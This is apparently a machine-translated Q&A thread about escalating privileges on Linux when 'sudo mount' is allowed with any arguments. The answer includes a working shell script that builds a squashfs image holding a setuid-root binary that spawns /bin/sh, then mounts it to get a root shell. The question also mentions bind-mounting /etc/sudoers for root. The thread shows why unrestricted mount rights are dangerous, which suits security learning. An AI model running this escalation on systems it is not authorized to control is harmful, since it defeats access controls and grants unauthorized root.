É possível montar um arquivo com propriedades / permissões diferentes?

1

Eu tenho experimentado o escalonamento de privilégios usando o comando mount e gostaria de saber se é possível criar um arquivo suid de propriedade do root sem ter acesso a nenhum dispositivo externo. Ou seja, estou tentando encontrar uma maneira de fazer o seguinte:

  1. liga o mount / bin / bash a outro arquivo, para que eu possa definir o bit suid nele (e mantê-lo depois de desmontar de alguma forma). Ou vincule a montagem de uma cópia do usuário suid de / bin / bas para um arquivo de propriedade de root.

  2. monte um squashfs, .iso ou outro sistema de arquivos existente com arquivos normalmente de propriedade do root (exemplo: filesystem.squashfs de uma imagem .iso do ubuntu), para que eu possa definir o bit suid neles.

A configuração é a seguinte:

  1. sudo mount com qualquer argumento é permitido
  2. não há possibilidade de obter um arquivo suid raiz no computador de outro dispositivo

Eu sei que posso facilmente obter root por bind mount / etc / group, / etc / sudoers, etc, mas gostaria de saber se outras maneiras são possíveis, em particular qualquer forma de criar um arquivo suid root sem ter acesso a qualquer máquina externa (ou máquina virtual).

    
por KIAaze 12.03.2015 / 13:12

1 resposta

2

Você estipula que tem permissão para executar o sudo mount com quaisquer argumentos. Nesse caso, a menos que eu entenda mal a sua pergunta, parece ser trivialmente fácil obter acesso root: basta criar uma imagem de disco que contenha um binário de raiz setuid e montá-lo com sudo mount -o loop ! Afinal, qualquer um pode criar uma imagem de disco, são apenas bytes ...

Para provar isso, aqui está um script de shell super trivial que faz isso:

#!/bin/sh

# Prepare the image
mkdir imgsrc
gcc -xc -o imgsrc/runsh - <<EOF
#include <unistd.h>
int
main(int argc, char **argv)
{
    execl("/bin/sh", "sh", NULL);
    return 1;
}
EOF

# Create the image
fakeroot sh -c 'chown -Rh 0:0 imgsrc; chmod u+s imgsrc/runsh; mksquashfs imgsrc img'
rm -rf imgsrc

# Mount the image
mkdir mountpoint
sudo mount -r img mountpoint 

Depois de executar isso, você pode obter um shell de root apenas executando mountpoint/runsh .

Se você não tiver as ferramentas necessárias, como fakeroot e mksquashfs , basta instalá-las, e o código-fonte delas estará disponível gratuitamente. Se você não puder fazer isso, basta criar a imagem com antecedência em outro lugar e copiá-la no sistema em questão. Se o pior acontecer, você pode até mesmo codificar a imagem e colá-la na linha de comando! No meu sistema, o script acima gera uma imagem que é apenas 2600 bytes quando gzipped ( que coincidência interessante que deve ser exatamente esse número! , e tenho certeza que seria possível torná-lo ainda menor com um pouco de trabalho . Antigamente (na década de 1980, na maioria das vezes) as pessoas costumavam digitar blocos de dados maiores do que os transcritos nas revistas de programação.

    
por 13.03.2015 / 03:46